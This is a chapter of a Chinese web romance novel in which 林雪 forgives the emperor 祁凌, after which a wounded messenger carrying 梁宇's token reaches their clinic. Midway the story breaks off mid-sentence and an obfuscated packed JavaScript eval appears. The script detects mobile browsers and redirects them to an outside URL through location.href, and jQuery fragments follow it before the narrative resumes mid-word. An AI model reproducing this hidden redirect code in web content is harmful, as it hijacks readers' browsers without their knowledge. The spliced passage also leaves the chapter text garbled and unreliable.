39. 原谅

作品:《早死白月光也要追妻

    盛夏的天喜怒无常,暴雨过后再次升温,热气蒸腾。


    距离林雪说开真相已经过去三天。


    三天里医馆异常安静。


    没有贺亭,没有魏靖,没有祁凌。


    他们回归了之前平静的日子。


    明明这一直都是林雪所期望的,但真正安静下来时她却觉得有些空虚。


    不过林雪向来不会为这些东西感到后悔,她只会向前看。


    起码她现在真的摆脱祁凌了。


    *


    以至于林雪再次在医馆门口见到祁凌时还以为自己看错了。


    祁凌眼底青黑,比重逢时看起来还要憔悴。


    身上穿着干净利落,明显是精心打扮过的,但面上的憔悴却怎么都掩盖不住。


    “你怎么来了?”


    两人在门口对视,一高一低,中间只隔了条台阶,却像是隔着世纪对视。


    祁凌也想知道自己为什么还要来。


    明明对方都把他当替身了。


    明明对方根本不喜欢他。


    但他还是来了。


    离开医馆的这几日他没一日睡着的,每次闭上眼脑海中就不自觉浮现林雪的身影。


    他试过强迫自己忘记对方,但最后却只是更加深入骨髓的思念。


    这几天他想通了,替身就替身了。


    若不是被认作替身,他们本就没有开始的可能性。


    只要对方愿意跟他在一起,他甘愿做替身。


    朝思暮想的脸庞近在眼前,祁凌眼眶当即便红了,连带着声音都带着哭腔:“我愿意做替身。”


    “只要你跟我在一起,做替身我也愿意。”


    “你知道你在说什么吗?”林雪没想到祁凌想几天竟想出个这。


    她当时虽然说了若是他可以接受,她可以重新审视这段关系,但当时她从没想到祁凌会接受替身的可能。


    祁凌紧紧抓着她的手,桃花眼里爬满了红血丝,多情之眼竟看出了浓浓的偏执:“我知道,我愿意做替身,你不是说只要我还喜欢你,你就愿意重新开始吗?”


    像是溺水之人抓住浮木,祁凌也紧紧抓着林雪的手。


    两人的动静有些大,引来了周边的人来看。


    林雪将祁凌拉到馆内,两人共处一室。


    她现在是真的不知道要拿祁凌怎么办了。


    她从没想过对方会为了她自卑到甘愿做替身的地步。


    “你先冷静一下,你现在精神状态不对。”


    祁凌双眼猩红,眼底青黑,神情恍惚,任谁看了都不会觉得这是正常的。


    现在做的决定,等清醒过来准要后悔。


    林雪把祁凌引到桌边坐下,想让他自己冷静一会,自己转身去烧点热水,才刚走出一步就被扯住衣角。


    她回眸正对上祁凌慌乱的神情:“你是不是想反悔?”


    他把林雪拉到身前,几乎是乞求的姿态:“即便我愿意做替身,你也不愿意原谅我吗?”


    他这幅样子颓废又委屈,偏偏还蕴含着点怒意,林雪一时不知该生气还是该心疼。


    “你冷静冷静,我只是去烧点茶。”林雪推开他,“等我回来你要是改变主意,我就当今天什么都没发生过。”


    祁凌依旧紧紧抓着她,“我不会改变主意,我说了我愿意。”


    祁凌现在的状态太不对了,医馆顾忌他的状态没开门,张意远远站在前台给两人留出足够的空间。


    但即便这样,两人说话的声音还是在医馆内传开。


    林雪现在跟祁凌说不清楚,她感觉他这几日根本就没有好好思考过她之前说的话。


    她深吸口气,一把拉着祁凌的手往楼上去。


    等到了自己屋里关上房门,林雪才回头看向不在状态的祁凌。


    “我之前说的不是只有替身的事,我还说了我不是这个世界的人,我们的观点,甚至认知都不一样。”说到这里,林雪想到之前的国师占卜之事,竟生了开玩笑的心思:“你就不怕我是祸国妖女?”


    祁凌此时脑子确实是乱的,听了林雪的话根本没有思考,只是凭本能回答:“你不可能是。”


    林雪闻言怔了一下,随后想到自己还帮祁凌扳倒太后,怎么也轮不到“祸国妖女”的称号。


    但不等她深想,祁凌再次抱住她,嗓音低哑:“就算是我也认了。”


    林雪怔在原地,这话像是直接砸到了她的心上,一点点敲开她冰冷的外壳往里钻。


    “祸国妖女”对她来说不过是一个玩笑话,但在这里这个称号却与妖怪无异,但祁凌就这么轻飘飘的应了。


    就连替身,也不过想了几日就接受了。


    即便之前再不相信祁凌,此时也有些动摇了。


    祁凌一国之君,若是真的不喜欢也做不到这个地步。


    林雪心里一软,缓缓抬手抱住了祁凌。


    她离开祁国时确实是心里有怨气的,但如今时光已过,万事都虽风化土,新的枝丫生长不可抑制,她心里那点怨气也随着风散了。


    祁凌被抱住,身体都僵住了,他激动的抱着林雪的腰:“你同意了?”


    林雪嘴角带着笑意,不等她开口,祁凌已经兜头吻了下来,心心念念了好几年的人终于原谅他,祁凌一扫原本的颓丧,连带着亲人的攻势都变得强硬。


    他按着林雪的脑袋,先是在唇角亲了亲,看林雪没反应才继续深入。


    祁凌等这一天实在等了太久,一吻起来就不松开。


    就在林雪要喘不过来气时,张意焦急的声音传来:“姐姐,姐姐不好了,外面……外面有人要死了!”


    她焦急地拍了拍门,里面没动静,正想着要不要推门进去时,林雪头发稍显凌乱地从里面进来了,嘴唇似乎也有些红:“小意,人在哪?”


    林雪此时脸红的不对劲,张意以为她哪里不舒服,正要开口问,目光扫到屋内祁凌的表情,对方刚上来时一副失魂落魄的模样,但此时整个人精神状态都好了不少,偏头以手掩唇,感觉到她的目光看来,这才把手放下。


    她清晰地看到,祁凌的嘴也红了。


    一条线在脑海中串起来,她当即闭嘴跟着林雪下去了。


    今天医馆没开门,那人也没走大门,反倒是走的窗户。


    张意看到窗户那有人影敲门时,差点被吓晕。


    还是她爹去开的窗户。


    那人浑身是血的进来,医师当即知道不对劲,把人弄进来就赶紧把窗户关上了。


    张意缓过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047581|190381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    神去喊林雪,林雪下来时看得到的就是浑身是血的男人躺在地上,生死不明。


    “这是谁?张叔,怎么能随便放人进来?”乱世没有安全可言,不是林雪冷血,只是她不想因为陌生人连累他们。


    医师面色严峻地递过来一块令牌:“这人进来时把这个给我了。”


    褐色令牌上沾着血,林雪接过来看,令牌上赫然写着“梁”字。


    “这是梁宇的令牌。”祁凌此时也下来了,站在林雪身后探头看令牌,林雪把令牌递给他:“你看看真假。”


    “张叔,我们把他抬进去。”林雪蹲下身探了呼吸,还活着。


    现在一切的谜团只能他来解,必须要把他弄醒。


    祁凌把令牌还给林雪,神色严肃:“这是真的,我走时交代了梁宇,若是遇到什么事写信来,如今信没来,令牌跟人来了,京城应当是出事了。”


    林雪想安慰他,但发现他此时并没有透出伤心脆弱的神情,甚至还帮着医师抬人,察觉到林雪的目光,他回头笑道:“我来抬吧。”


    林雪愣了一瞬,点了点头:“好。”


    情况紧急,祁凌和医师将人抬到手术间后就直接开始了手术。


    张意跟着帮忙,反倒是祁凌一人闲了下来。


    他手里摩挲着那带血的令牌,心里却在想会是什么人。


    他走时将积压的事务都处理干净了,近期应当不会有什么大事。


    还派了梁宇镇守京城,梁宇手握重兵,一般人也不会把他逼到需要派人来的地步。


    连信都传不出来,那人的官职应到了只手遮天的地步。


    可朝堂之上,能有这地位的无一不是皇亲国戚。


    祁凌在脑子里过了遍人,想到最后竟笑了起来。


    藏得可真够深的。


    *


    医馆外,一名黑衣人看着地上斑驳的血迹戛然而止,随即抬眸。


    阳光透过桃树稀稀拉拉照来,刚好照到窗台的红色血液上。


    黑衣人食指抹开血迹放鼻前嗅闻了下,暗暗在心中记下位置。


    找到了。


    *


    手术进行到后边已经不需要张意打什么下手了,她率先从房间里出来。


    倒掉被血污染的废水,张意又洗了洗自己手上沾上的血,然后一个人待在前台看着祁凌。


    祁凌这时候在想之后的事情,没察觉到她的目光。


    张意犹豫了片刻,最后还是走过去了。


    等到张意走到面前,祁凌才回过神来。


    之前她从来没跟祁凌说过话,一方面是因为自己不擅长跟陌生人说话,另一方面是她大概猜到了祁凌跟林雪的关系,带了点讨厌的偏见。


    她记得当时林雪跟他们来时失魂落魄的样子,也知道当时林雪遭遇了背叛,但他们都不愿意告诉她实情。


    她知道他们是为了保护她,所以她也从没问过。


    但她不是不谙世事的小孩,祁凌来了之后他们的反应她也不是看不出来。


    相处下来,她大概猜到了他身份不低,也猜到了他就是当年背叛林雪之人。


    她深呼吸两下,对上祁凌的视线又有些胆怯,但还是鼓起勇气问了。


    “你跟姐姐在一起了吗?”